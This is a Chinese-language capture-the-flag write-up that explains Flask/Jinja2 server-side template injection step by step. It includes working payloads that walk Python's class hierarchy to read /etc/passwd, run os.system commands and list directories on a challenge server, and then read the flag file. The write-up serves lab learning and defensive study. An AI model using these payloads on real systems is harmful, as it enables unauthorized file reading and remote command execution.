攻防世界 Web_python_template_injection（flask模版注入）

学习文章：https://www.freebuf.com/column/187845.html

https://blog.csdn.net/weixin_54515836/article/details/113778233

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask jinjia渲染引擎中格式：

控制结构 {% %}

变量取值 {{}}

注释 {# #}

基础类的执行

__class__ 返回类型所属的对象（类）

__mro__ 返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

输入一个表达式1+2发现表达式被执行证明存在ssti

通过python的对象的继承来一步步实现文件读取和命令执行

思路：找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。

寻找可用的引用类payload：

"".__class__.__mro__[2].__subclasses__()

解析："".__class__.__mro__[2].__subclasses__()方法返回的是可用类（classes），而不是对象（objects）。

具体来说，__class__是一个内置属性，表示一个对象所属的类。通过调用__class__.__mro__，可以获取该类的方法解析顺序（Method Resolution Order，MRO），它是一个元组，按照查找方法时的顺序列出了对象所属类及其父类。

在MRO中，索引为2的元素表示对象所属类的直接父类。对于大多数类，索引为2处的元素是object类，因为大多数类都直接或间接继承自object类。

然后通过调用__subclasses__()方法，可以获取一个列表，其中包含了该类的所有子类。这些子类是可用的类，可以用于创建对象和调用其方法。

综上所述，"".__class__.__mro__[2].__subclasses__()方法返回的是可用类（classes）

发现type'file'类，可以调用其方法来读取文件

构造一个payload读取/etc/passwd文件

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

[40]是<type 'file'>所在的第几个位置，从零开始算

可用类中还有一个<class 'site._Printer'>类，可以调用其方法来执行命令（因为它含os模版，有其他的Printer也行）

找到其位置为71，再利用__init__魔术方法初始化类

构造payload

http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

如果system被过滤或者找不到，用os的listdir读取目录+file模块读取文件

构造payload，listdir函数中的点表示当前目录

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

看到flag的文件名

利用os模块的file，read读取

payload：

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

成功读取到flag